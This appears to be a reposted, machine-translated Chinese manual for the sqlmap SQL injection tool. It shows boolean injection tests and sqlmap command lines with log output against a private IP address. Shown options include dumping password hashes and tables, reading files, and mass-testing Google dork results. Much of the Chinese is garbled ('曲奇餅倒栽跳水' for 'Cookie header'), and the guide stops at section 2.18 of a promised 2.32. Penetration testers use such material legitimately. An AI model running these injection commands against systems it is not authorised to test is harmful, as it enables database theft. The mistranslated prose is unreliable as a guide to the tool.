sqlmap原理及使用方法


1 。 介紹
1.1 要求 
1.2 網應用情節 
1.3 SQL 射入技術 
1.4 特點 
1.5 下載和更新sqlmap 
1.6 執照

2 。 用法
2.1 幫助 
2.2 目標URL 
2.3 目標URL 和verbosity 
2.4 URL 參量 
2.5 Google dork 
2.6 HTTP 方法: 得到或張貼 
2.7 張貼的數據串 
2.8 HTTP 曲奇餅倒栽跳水 
2.9 HTTP 用戶代理倒栽跳水 
2.10 任意HTTP 用戶代理倒栽跳水 
2.11 HTTP 認證 
2.12 HTTP 代理人 
2.13 串比賽 
2.14 遙遠的數據庫管理系統 
2.15 廣泛的DBMS 指印 
2.16 橫幅 
2.17 當前的用戶 
2.18 當前的數據庫 
2.19 數據庫用戶 
2.20 數據庫用戶密碼hashes 
2.21 可利用的數據庫 
2.22 數據庫桌 
2.23 數據庫桌專欄 
2.24 轉儲數據庫制表詞條 
2.25 轉儲整個DBMS 
2.26 檢索文件內容 
2.27 處理您自己的表示 
2.28 檢查聯合詢問SQL 射入 
2.29 利用聯合詢問SQL 射入 
2.30 估計的到達時間 
2.31 之外所有數據被檢索在文本文件 
2.32 簡歷詢問價值從文本文件

3 。 參考

4 。 接觸

--------------------------------------------------------------------------------

1 。 介紹
sqlmap 是一個自動SQL 射入工具。它是可勝任執行一個廣泛的數據庫管理系統后端指印, 檢索遙遠的DBMS 數據庫, usernames, 桌, 專欄, 列舉整個DBMS, 讀了系統文件和利用導致SQL 射入弱點的網應用編程的安全漏洞。

有許多其它SQL 射入工具在網, 但我不能發現任何人適合所有我的需要因此我感到需要在我的滲透測試期間給成功地寫我自己的工具測試, 辨認和利用網應用的SQL 射入在安全上的弱點。

1.1 要求 
sqlmap 整個地被開發在 Python, 一個動態面向對象的被解釋的編程語言。這由操作系統使工具獨立。sqlmap 實際上依靠只自由地是下載的從它的正式站點 的Python 口譯員。做它更加容易, 許多GNU/Linux 發行從箱子出來以Python 包裹preinstalled 並且其它Unices 提供這個解釋語言precompiled 入他們的包裹格式。如果您使用窗口或MacOS x 那里存在precompiled 設定准備好正式可執行在Python 站點。

1.2 網應用情節 
我們說您驗核網應用的安全並且您發現了接受動態用戶提供價值對它得到並且/或者張貼參量的一個網頁。您現在想要測試如果這些是脆弱的對SQL 射入弱點, 如果那樣, 剝削他們檢索同樣多信息盡可能在網應用的數據庫管理系統外面甚至能讀任意文件從數據庫管理系統計算機

如果網頁是:


http://192.168.1.47/page.php?id=1&cat=2

假定:


http://192.168.1.47/page.php?id=1+AND+1=1&cat=2

和原始一個一樣是頁和:


http://192.168.1.47/page.php?id=1+AND+1=2&cat=2

與它意味的原始的產品不同我們是在一個SQL 射入弱點前面在 id 意味網應用 index.php 頁的得到參量IDS/IPS, 沒有網應用防火牆, 沒有參數值sanitization 不執行在服務器邊亦不PHP 口譯員邊。

這是相當共同的缺點在動態美滿的網應用並且它不取決於遙遠的DBMS 或在網應用語言, 這是程序員代碼的安全漏洞。 開放網應用安全項目 最近對在他們的 OWASP 名列前茅十 這個弱點估計作為 最共同 和最重要的網應用弱點, 其次唯一 十字架站點Scripting 問題。

回到情節, statemenet SELECT 入大概 index.php 有句法相似與以下SQL 詢問在冒充的PHP:


$query = "SELECT <column(s) name> FROM <table name> WHERE id=" . $_REQUEST['id'];

如此, 如同您能看, 添附其他syntatically 合法的SQL 情況在a (之后合法的) 價值為 id 這樣的情況將發生當網應用執行詢問在附上DBMS, 所以情況 id=1 AND 1=1 和原物一樣是合法的(真實) 並且退回頁, 以同樣內容和沒有任一個古怪的SQL 錯誤信息。

更多, 在這個例子它會是還可能添附, 不僅一個或更多合法的SQL condition(s), 而且其他完全SQL 詢問, 請求某事象在偽碼 id=1; ANOTHER SQL QUERY--

即然我們發現了這個SQL 射入脆弱的參量, 我們能利用它操作 id 參數值。

通過原始的地址, http://192.168.1.47/page.php?id=1&cat=2 對sqlmap, 工具自動地將辨認脆弱的參量(id 在這個情節) 並且將添附syntatically 合法的SQL 聲明串包含 SELECT 次級聲明或我們想要檢索產品的其他聲明。由做比較根據超文字標記語言頁hashes, 串或每被請求的頁與原始一個, sqlmap 正則表達式比賽確定聲明字符的產品價值將由字符, 這個技術作為盲目的SQL 射入的 名字 和很好被描述在許多文件里, 檢查參考部分有些技術文章。

1.3 SQL 射入技術 
與二等分算法被實施在sqlmap 執行這攻擊以 盲目的SQL 射入著名 這達到以大約七個HTTP 請求每產品的各個字符, 但如果網應用頁代碼解析聲明的產品 SELECT 入a for 或相似的周期以便詢問產品的各條線打印在頁內容, 我們是在一個 inband SQL 射入弱點, 亦稱 聯合詢問SQL 射入 弱點前面。我強烈勸告您跑至少一旦sqlmap 以 --union-check 命令行選擇到測試如此和如果用途 --union-use 命令行選擇利用這個弱點因為它保存得很多時間並且它不衡量在網絡服務器記錄文件下以上百HTTP 請求。

1.4 特點 
這主要特點名單被實施在sqlmap:


完全支持為 MySQL、 Oracle、 PostgreSQL 和 微軟SQL 服務器 數據庫管理系統后端。除這些四以外DBMS, sqlmap 可能並且辨認微軟通入、DB2 、Informix 和Sybase; 
廣泛的數據庫管理系統后端指印 根據: 
Inband DBMS 錯誤信息 
DBMS 橫幅解析 
DBMS 起作用產品比較 
DBMS 具體特點 譬如MySQL 評論射入 
被動SQL 射入fuzzing 
它充分支持二個SQL 射入技術: 
盲目的SQL 射入, 亦稱 推斷SQL 射入 
Inband SQL 射入, 亦稱 聯合詢問SQL 射入 
並且它部份地支持 錯誤基於的SQL 射入 作為傳染媒介的當中一個為數據庫管理系統指印; 
它自動地測試所有被提供 得到, 張貼, 曲奇餅 和 用戶代理 參量發現動態那些。在這些它測試和自動地查出那個通過SQL 射入影響。而且各個動態參量被測試為 數字, 選拔引證串, 加倍引證串 和所有這些三型以一個和二個托架發現哪些是合法的句法進行進一步射入與; 
它是可能提供唯一的parameter(s) 的名字, 您想要執行測試並且用途為射入, 是他們 得到, 張貼, 曲奇餅 參量; 
SQL 射入測試和偵查不取決於網應用數據庫管理系統后端。SQL 射入剝削和詢問句法明顯地取決於網應用數據庫管理系統后端; 
它認可合法的詢問由假那些根據 HTML 產品頁hashes 比較 , 但它是還可能選擇執行這樣的測試根據 串匹配; 
HTTP 請求可能執行在HTTP 方法 GET 和 POST (缺省: GET); 
它是可能執行HTTP 請求使用HTTP User-Agent 倒栽跳水串從文本文件任意地被挑選; 
它是可能提供HTTP Cookie 倒栽跳水串, 有用當網應用要求認證根據曲奇餅並且您有這樣數據; 
它是可能提供一個匿名HTTP 代理人地址和口岸對通行證由HTTP 請求對目標URL; 
它是可能提供遙遠的DBMS 后端如果您已經知道它做sqlmap 之外某個時候指印它; 
它支持各種各樣的命令行選擇得到 數據庫管理系統橫幅, 當前的DBMS 用戶, 當前的DBMS 數據庫, 列舉用戶, 密碼hashes 的用戶, 數據庫, 桌, 專欄, 轉儲制表詞條, 傾銷整個DBMS, 檢索一個任意文件內容(如果遙遠的DBMS 是MySQL) 並且提供您自己的SQL 精選的聲明被評估; 
它是可能自動地做sqlmap 查出如果受影響的參量通過聯合詢問 SQL 射入並且影響 並且, 在這樣的案件, 使用它利用弱點; 
它是可能 排除系統數據庫當列舉桌, 有用當傾銷整個DBMS 數據庫桌詞條並且您想要跳缺省DBMS 數據; 
它是可能觀看 估計的到達時間 為各詢問產品, 被更新在實時當進行SQL 射入攻擊; 
支持增加產品 消息的verbosity 水平; 
它是可能保存詢問執行和他們的被檢索的價值在實時在產品文本文件和 繼續射入恢復從這樣的文件在第二次; 
PHP 設置 magic_quotes_gpc 旁路由輸入每詢問串, 在單引號之間, 以 CHAR (或相似) DBMS 具體作用。

1.5 下載和更新sqlmap 
這個指南是sqlmap 的一部分。您應該接受了它當您下載了sqlmap 。

sqlmap 可能被下載從它的 SourceForge 文件名單頁 和發展發行從可能沖浪以瀏覽器 或 被獲取對下載sqlmap 的它的SourceForge 顛覆貯藏庫:


$ svn checkout https://sqlmap.svn.sourceforge.net/svnroot/sqlmap sqlmap


任何方式您下載了sqlmap, 奔跑 svn update 在它的根目錄(有主文件的地方 sqlmap.py) 與SVN 貯藏庫同步檢索它的原始代碼更新在您運作的拷貝保證, 您跑節目的最新的版本。

關於SourceForge 顛覆貯藏庫用法的詳細信息可能被發現 這里。

1.6 執照 
sqlmap 被發布在 公眾執照v2 條件下。

2 。 用法
唯一的二個可能的必須的參量是:


- u 或 -- url: 選拔目標URL 測試, 查出和注射對於SQL 射入缺點 
- g: 測試所有Google 結果尋找一位具體Google dork

這些是唯一的二命令行參量排除eachother 。

跟隨sqlmap 命令行參量和價值被解釋在細節以一個例子為各個參量。

2.1 幫助

$ python sqlmap.py -h

    sqlmap/X.Y coded by inquis <>
and belch <>

Usage: sqlmap.py [options] {-u <URL> | -g <google dork>}

Options:
-h, --help            show this help message and exit
-u URL, --url=URL     target url
-p TESTPARAMETER      specify the testable parameter(s)
-g GOOGLEDORK         rather than providing a target url, let Google return
target hosts as result of your Google dork expression
--method=HTTPMETHOD   HTTP method, GET or POST (default: GET)
--data=DATA           data string to be sent through POST
--cookie=COOKIE       HTTP Cookie header
--user-agent=UAGENT   HTTP User-Agent header
-a USERAGENTSFILE     load a random HTTP User-Agent header from file
--basic-auth=BAUTH    HTTP Basic Authentication, value: 'username:password'
--digest-auth=DAUTH   HTTP Digest Authentication, value: 'username:password'
--proxy=PROXY         use a proxy to connect to the target url
--string=STRING       string to match in page when the query is valid
--remote-dbms=DBMS    perform checks only for this specific DBMS
-f, --fingerprint     perform an exaustive database fingerprint
-b, --banner          get DBMS banner
--current-user        get current DBMS user
--current-db          get current DBMS name
--users               get DBMS users
--passwords           get DBMS users password hashes
--dbs                 get available databases
--tables              get database tables (optional: -D)
--columns             get table columns (required: -T and -D)
--dump                dump database table entries (required: -T and -D
optional: -C)
--dump-all            dump all databases tables entries
--file=FILENAME       read a specific file content
-e EXPRESSION         expression to evaluate
--union-check         check for UNION SELECT statement
--union-use           use the UNION SELECT statement to retrieve the queries
output
-D DB, --database=DB database to enumerate
-T TBL, --table=TBL   database table to enumerate
-C COL, --column=COL database table column to enumerate
--exclude-sysdbs      exclude system databases when enumerating tables
--eta                 retrieve each query length and calculate the estimated
time of arrival
-v VERBOSE            set verbosity level (0-2), default is 0
-o OUTPUTFILE         save all data retrieved on a text file
-r, --resume          resume queries value from a text file


2.2 目標URL 
命令行選擇: -u 或 --url

跑sqlmap 在唯一目標URL:


$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2"

remote DBMS:    MySQL >= 5.0.0


2.3 目標URL 和verbosity 
命令行選擇: -v

絮絮叨叨的選擇可能使用設置產品消息的verbosity 水平。它的價值可能實際上是 0, 1 或 2。它的價值是 0 因為sqlmap 不會打印任何新聞消息對標准產品, 只有詢問產品和最后警告和錯誤如果他們發生。


$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1

[hh:mm:25] [INFO] testing if the url is stable, wait a few seconds
[hh:mm:26] [INFO] url is stable
[hh:mm:26] [INFO] testing if GET parameter 'id' is dynamic
[hh:mm:26] [INFO] confirming that GET parameter 'id' is dynamic
[hh:mm:26] [INFO] GET parameter 'id' is dynamic
[hh:mm:26] [INFO] testing sql injection on GET parameter 'id'
[hh:mm:26] [INFO] testing numeric/unescaped injection on GET parameter 'id'
[hh:mm:26] [INFO] confirming numeric/unescaped injection on GET parameter 'id'
[hh:mm:26] [INFO] GET parameter 'id' is numeric/unescaped injectable
[hh:mm:26] [INFO] testing MySQL
[hh:mm:26] [INFO] query: CONCAT('5', '5')
[hh:mm:26] [INFO] retrieved: 55
[hh:mm:26] [INFO] performed 20 queries in 0 seconds
[hh:mm:26] [INFO] confirming MySQL
[hh:mm:26] [INFO] query: LENGTH('5')
[hh:mm:26] [INFO] retrieved: 1
[hh:mm:26] [INFO] performed 13 queries in 0 seconds
[hh:mm:26] [INFO] query: SELECT 5 FROM information_schema.TABLES LIMIT 0, 1
[hh:mm:26] [INFO] retrieved: 5
[hh:mm:26] [INFO] performed 13 queries in 0 seconds
remote DBMS:    MySQL >= 5.0.0


2.4 URL 參量 
命令行選擇: -p

sqlmap 測試全部得到並且崗位為dynamicity 和SQL 射入弱點提供了參量, 但它手工是可能的對specificy 您要sqlmap 執行對逗號的測試separeted 為了未參加dynamicity 測試和執行SQL 射入測試的URL parameter(s), 偵查和剝削只在被提供的parameter(s):


$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -p "id"

[hh:mm:17] [INFO] testing if the url is stable, wait a few seconds
[hh:mm:18] [INFO] url is stable
[hh:mm:18] [INFO] testing sql injection on parameter 'id'
[hh:mm:18] [INFO] testing numeric/unescaped injection on parameter 'id'
[hh:mm:18] [INFO] confirming numeric/unescaped injection on parameter 'id'
[hh:mm:18] [INFO] parameter 'id' is numeric/unescaped injectable
[...]


或如果您想要提供超過一個參量, 例如:


$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -p "cat,id"


2.5 Google dork 
命令行選擇: -g

而不是提供目標URL 它是還可能執行對參量的測試在地址由Google dork 查尋返回。

這個選擇做sqlmap 與搜索引擎談判它的會議曲奇餅能執行查尋, 那么sqlmap 將檢索Google 第一個100 個結果為表示與得到參量問您的Google dork 如果您想要測試和得到SQL 射入好處在各可能的受影響的URL 。


$ python sqlmap.py -g "site:yourdomain.com inurl:example.php" -v 1

[hh:mm:38] [INFO] first request to Google to get the session cookie
[hh:mm:39] [INFO] sqlmap got 'PREF=ID=xxxxxxxxxxxxxxxx:TM=yyyyyyyyyy:LM=zzzzzzzzzz:S=wwwwwwwwwwwwwwww' as session cookie
[hh:mm:40] [INFO] sqlmap got 65 results for your Google dork expression, 59 of them are testable hosts
[hh:mm:40] [INFO] url 1: http://yourdomain.com/example.php?id=12, do you want to test this url? [y/N/q] n
[hh:mm:43] [INFO] url 3: http://yourdomain.com/example.php?id=24, do you want to test this url? [y/N/q] n
[hh:mm:42] [INFO] url 2: http://thirdlevel.yourdomain.com/news/example.php?today=483, do you want to test this url? [y/N/q] y
[hh:mm:44] [INFO] testing url http://thirdlevel.yourdomain.com/news/example.php?today=483
[hh:mm:45] [INFO] testing if the url is stable, wait a few seconds
[hh:mm:49] [INFO] url is stable
[hh:mm:50] [INFO] testing if GET parameter 'today' is dynamic
[hh:mm:51] [INFO] confirming that GET parameter 'today' is dynamic
[hh:mm:53] [INFO] GET parameter 'today' is dynamic
[hh:mm:54] [INFO] testing sql injection on GET parameter 'today'
[hh:mm:56] [INFO] testing numeric/unescaped injection on GET parameter 'today'
[hh:mm:57] [INFO] confirming numeric/unescaped injection on GET parameter 'today'
[hh:mm:58] [INFO] GET parameter 'today' is numeric/unescaped injectable
[...]


2.6 HTTP 方法: 得到或張貼 
命令行選擇: --method

HTTP 使用的方法執行HTTP 請求是 GET, 但它是可能改變它在命令行 --method 參數值:


$ python sqlmap.py -u "http://192.168.1.47/page.php" --method "POST" --data "id=1&cat=2"


這樣參量和他們的價值將由HTTP POST 方法通過, 最終包括那個脆弱以SQL 詢問被注射入(id 在我們的情節) 。

2.7 張貼的數據串 
命令行選擇: --data

這個命令行選擇被使用指定您想要送通過HTTP 崗位方法執行測試的數據串。讀段上面為進一步細節。

2.8 HTTP 曲奇餅倒栽跳水 
命令行選擇: --cookie

這個特點是有用的當, 例如, 網應用要求認證根據曲奇餅並且您有這樣數據。步經歷在這種情況下是相似對:

在Firefox 瀏覽器注冊在網認證形式當傾銷URL 請求以TamperData 瀏覽器引伸。在引伸的水平的箱子選擇您的認證交易然后在左箱子在點擊之下與按鈕右鍵在 Cookie 價值, 然后點擊 Copy。

現在去回到您的殼和跑sqlmap:


$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --cookie "COOKIE_VALUE"


當您使用這個命令行選擇sqlmap 將測試和, 如果脆弱, 並且利用SQL 射入在 Cookie 倒栽跳水。

2.9 HTTP 用戶代理倒栽跳水 
命令行選擇: --user-agent

由缺省sqlmap 執行HTTP 請求提供以下HTTP 用戶代理倒栽跳水:


sqlmap/VERSION (http://sqlmap.sourceforge.net)


它是可能改變它在命令行 --user-agent 參數值。例如:


$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --user-agent "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)"


當您使用這個命令行選擇sqlmap 將測試和, 如果脆弱, 並且利用SQL 射入在 User-Agent 倒栽跳水。

2.10 任意HTTP 用戶代理倒栽跳水 
命令行選擇: -a

由缺省sqlmap 執行HTTP 請求提供以下HTTP 用戶代理倒栽跳水:


sqlmap/VERSION (http://sqlmap.sourceforge.net)


提供文本文件, ./txt/user-agents.txt 或其他文件包含至少一個用戶代理名單, 對 -a 命令行選擇, sqlmap 將選擇一個任意用戶代理從文件和將使用它為所有HTTP 請求對URL:


$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -a "./txt/user-agents.txt"

[hh:mm:41] [INFO] fetching random HTTP User-Agent header from file './txt/user-agents.txt'
[hh:mm:41] [INFO] fetched random HTTP User-Agent header from file './txt/user-agents.txt'
[hh:mm:41] [INFO] testing if the url is stable, wait a few seconds
[hh:mm:42] [INFO] url is stable
[...]


2.11 HTTP 認證 
命令行選擇: --basic-auth 並且 --digest-auth

這些選擇可能使用指定哪個認證方法網絡服務器實施並且合法的證件被用於perfom 所有HTTP 請求對目標URL:

在 HTTP 基本驗證的情況下 跑:


$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --basic-auth "username:password"


否則如果 HTTP 文摘認證 是被實施的奔跑:


$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --digest-auth "username:password"


2.12 HTTP 代理人 
命令行選擇: --proxy

它是可能提供一個匿名HTTP 代理人地址對通行證由所有請求對目標URL:


$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --proxy "http://url:port"


而不是使用一個唯一匿名HTTP 代理服務系統通過, 您能配置 突岩客戶 與 Privoxy 一起 在您的機器象解釋在 突岩客戶指南 那么跑sqlmap 如下:


$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --proxy "http://127.0.0.1:8118"


注意, 8118 是缺省Privoxy 口岸, 適應您的設置。

2.13 串起比賽 
命令行選擇: --string

一次真實的詢問的分別由一假一個(地下室概念為標准盲目的SQL 射入攻擊) 完成被注射的頁產品MD5 回鍋碎肉與原始的沒有被注射的頁產品比較MD5 在sqlmap. sqlmap 使成為可能手工提供總是存在 在 真實的被注射的詢問產品頁的串, 並且它不是在假一個。這樣的信息是容易對用戶簡單地檢索, 設法注射在受影響的URL 參量無效價值和原始的產品與錯誤產品比較辨認哪串是在真實的頁唯一。這樣分別不會根據串比賽和沒有頁回鍋碎肉比較:


$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --string "STRING_ON_TRUE_PAGE"


注意當這個命令行選擇被指定, sqlmap 將未參加URL 穩定測試並且認為這個選擇根本當您必須處理內容改變, 例如, 在每個的頁刷新。

2.14 遙遠的數據庫管理系統 
命令行選擇: --remote-dbms

sqlmap 自動地查出遙遠的數據庫manangement 系統后端網應用。在充分支持的DBMS 是 MySQL、 Oracle、 PostgreSQL 和 微軟SQL 服務器之時。它是可能手工提供遙遠的DBMS 從命令行。如果您提供這樣的選擇, sqlmap 不會執行任何DBMS 指印有例外使MySQL 只辨認如果這是MySQL < 5.0 或MySQL > = 5.0 。並且避免您能改為提供或的這 MySQL 4 檢查 MySQL 5。

注意這個選擇不是必須的並且它是更好如果您使用它只如果您對遙遠的DBMS 是絕對肯定的。如果您不知道它, 讓sqlmap 辨認它為您。

如果您提供 --fingerprint 與一起 --remote-dbms, sqlmap 只將執行廣泛的指印為指定的數據庫管理系統, 如下讀了段為細節對此。

2.15 廣泛的DBMS 指印 
命令行選擇: -f 或 --fingerprint

網應用數據庫管理系統后端指印執行請求退回已知的靜態價值的數據庫具體作用。由這價值與回歸價值比較它是可能辨認如果遙遠的數據庫有效地是那個節目 被測試為。在第一個指印檢查sqlmap 認可遙遠的數據庫和執行剩余詢問以它的具體句法在數據庫建築學的極限內。如果您想要執行一個更加准確的數據庫指印您能提供 --fingerprint 選擇:


$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -f

[...]
[hh:mm:31] [INFO] testing MySQL
[hh:mm:31] [INFO] query: CONCAT('4', '4')
[hh:mm:31] [INFO] retrieved: 44
[hh:mm:31] [INFO] performed 20 queries in 0 seconds
[hh:mm:31] [INFO] confirming MySQL
[hh:mm:31] [INFO] query: LENGTH('4')
[hh:mm:31] [INFO] retrieved: 1
[hh:mm:31] [INFO] performed 13 queries in 0 seconds
[hh:mm:31] [INFO] query: SELECT 4 FROM information_schema.TABLES LIMIT 0, 1
[hh:mm:31] [INFO] retrieved: 4
[hh:mm:31] [INFO] performed 13 queries in 0 seconds
[hh:mm:31] [INFO] query: DATABASE()
[hh:mm:31] [INFO] retrieved: testdb
[hh:mm:31] [INFO] performed 48 queries in 0 seconds
[hh:mm:31] [INFO] query: SCHEMA()
[hh:mm:31] [INFO] retrieved: testdb
[hh:mm:32] [INFO] performed 48 queries in 0 seconds
[hh:mm:32] [INFO] query: SELECT 4 FROM information_schema.PARTITIONS LIMIT 0, 1
[hh:mm:32] [INFO] retrieved: 
[hh:mm:32] [INFO] performed 6 queries in 0 seconds
[hh:mm:32] [INFO] executing MySQL comment injection fingerprint
[hh:mm:32] [INFO] executing passive fuzzing to retrieve DBMS error messages
remote DBMS:    active fingerprint: MySQL >= 5.0.2 and < 5.1
comment injection fingerprint: MySQL 5.0.38
html error message fingerprint: MySQL


如果您想要一個更加准確數據庫指印, 並且根據橫幅解析, 您能並且提供 -b 或 --banner 選擇:


$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -f -b

[...]
[hh:mm:45] [INFO] testing MySQL
[hh:mm:45] [INFO] query: CONCAT('4', '4')
[hh:mm:45] [INFO] retrieved: 44
[hh:mm:45] [INFO] performed 20 queries in 0 seconds
[hh:mm:45] [INFO] confirming MySQL
[hh:mm:45] [INFO] query: LENGTH('4')
[hh:mm:45] [INFO] retrieved: 1
[hh:mm:45] [INFO] performed 13 queries in 0 seconds
[hh:mm:45] [INFO] query: SELECT 4 FROM information_schema.TABLES LIMIT 0, 1
[hh:mm:45] [INFO] retrieved: 4
[hh:mm:45] [INFO] performed 13 queries in 0 seconds
[hh:mm:45] [INFO] query: DATABASE()
[hh:mm:45] [INFO] retrieved: testdb
[hh:mm:45] [INFO] performed 48 queries in 0 seconds
[hh:mm:45] [INFO] query: SCHEMA()
[hh:mm:45] [INFO] retrieved: testdb
[hh:mm:46] [INFO] performed 48 queries in 0 seconds
[hh:mm:46] [INFO] query: SELECT 4 FROM information_schema.PARTITIONS LIMIT 0, 1
[hh:mm:46] [INFO] retrieved: 
[hh:mm:46] [INFO] performed 6 queries in 0 seconds
[hh:mm:46] [INFO] query: VERSION()
[hh:mm:46] [INFO] retrieved: 5.0.38-Ubuntu_0ubuntu1.1-log
[hh:mm:47] [INFO] performed 202 queries in 0 seconds
[hh:mm:47] [INFO] executing MySQL comment injection fingerprint
[hh:mm:47] [INFO] executing passive fuzzing to retrieve DBMS error messages
remote DBMS:    active fingerprint: MySQL >= 5.0.2 and < 5.1
comment injection fingerprint: MySQL 5.0.38
banner parsing fingerprint: MySQL 5.0.38, logging enabled
html error message fingerprint: MySQL
[...]


2.16 橫幅 
命令行選擇: -b 或 --banner

大多數據庫有一個作用或顯示數據庫managemet 系統版本細節的一個系統變量。通常這個作用是 version() 或系統變量叫 @@version。


$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -b

banner:    '5.0.38-Ubuntu_0ubuntu1.1-log'


2.17 當前的用戶 
命令行選擇: --current-user

它是可能列舉有效地執行詢問在數據庫從網應用數據庫管理系統用戶的名字:


$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --current-user

current user:  


2.18 當前的數據庫 
命令行選擇: --current-db

它是可能列舉網應用被連接對數據庫的名字:


$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --current-db

current database:       'testdb'


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM